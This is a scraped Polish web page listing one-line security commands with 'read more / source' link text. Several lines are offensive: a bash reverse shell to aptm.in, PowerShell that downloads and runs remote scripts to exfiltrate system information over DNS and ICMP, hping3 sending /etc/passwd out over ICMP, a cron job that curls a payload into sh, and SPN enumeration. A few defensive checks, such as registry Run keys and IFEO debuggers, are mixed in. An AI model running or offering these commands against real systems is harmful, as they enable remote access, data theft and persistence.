WIEDZA Z SIECI
(ls "HKCU:\Software\Microsoft\Office\*\*\Security\Trusted Documents\TrustRecords").PropertyCzytaj całość ↵Źródło — otwiera w nowej karcie
gp HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunCzytaj całość ↵Źródło — otwiera w nowej karcie
iptables -t nat -p tcp -I PREROUTING -m multiport --dports 50:65535 -j REDIRECT --to-port 22Czytaj całość ↵Źródło — otwiera w nowej karcie
python3 -c 'from scapy.all import *; sniff(filter="icmp and icmp[0]=8", prn=(lambda x: print(x[1].src, x[ICMP].load) if hasattr(x[ICMP], "load") else None ))'Czytaj całość ↵Źródło — otwiera w nowej karcie
hping3 --icmp -d 1000 aptm.in --file /etc/passwdCzytaj całość ↵Źródło — otwiera w nowej karcie
iwr aptm.in/g/dnsex|iex; whoami|Invoke-DNSExfil foo.aptmc.plCzytaj całość ↵Źródło — otwiera w nowej karcie
iwr aptm.in/g/icmpex|iex; ipconfig|Invoke-ICMPExfil aptm.inCzytaj całość ↵Źródło — otwiera w nowej karcie
setspn.exe -Q MSSQLSvc/*Czytaj całość ↵Źródło — otwiera w nowej karcie
(crontab -l; echo '0 4 * * * curl -ksL aptm.in/czwarta|sh') | crontabCzytaj całość ↵Źródło — otwiera w nowej karcie
Start-TranscriptCzytaj całość ↵Źródło — otwiera w nowej karcie
gp "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*"|where Debugger|select PSChildName,DebuggerCzytaj całość ↵Źródło — otwiera w nowej karcie
alias ssh="ssh -M -S /tmp/%r@%h:%p -oControlPersist=yes"Czytaj całość ↵Źródło — otwiera w nowej karcie
docker run -p 443:443 mikesplain/openvasCzytaj całość ↵Źródło — otwiera w nowej karcie
for i in {1..254}; do host x.x.x.$i|grep -v NXDOMAIN; doneCzytaj całość ↵Źródło — otwiera w nowej karcie(irm ipinfo.io/json).ipCzytaj całość ↵Źródło — otwiera w nowej karcie
python -m SimpleHTTPServerCzytaj całość ↵Źródło — otwiera w nowej karcie
bash -i >& /dev/tcp/aptm.in/1337 0>&1Czytaj całość ↵Źródło — otwiera w nowej karcie
Powershell Constrained Language ModeCzytaj całość ↵Źródło — otwiera w nowej karcie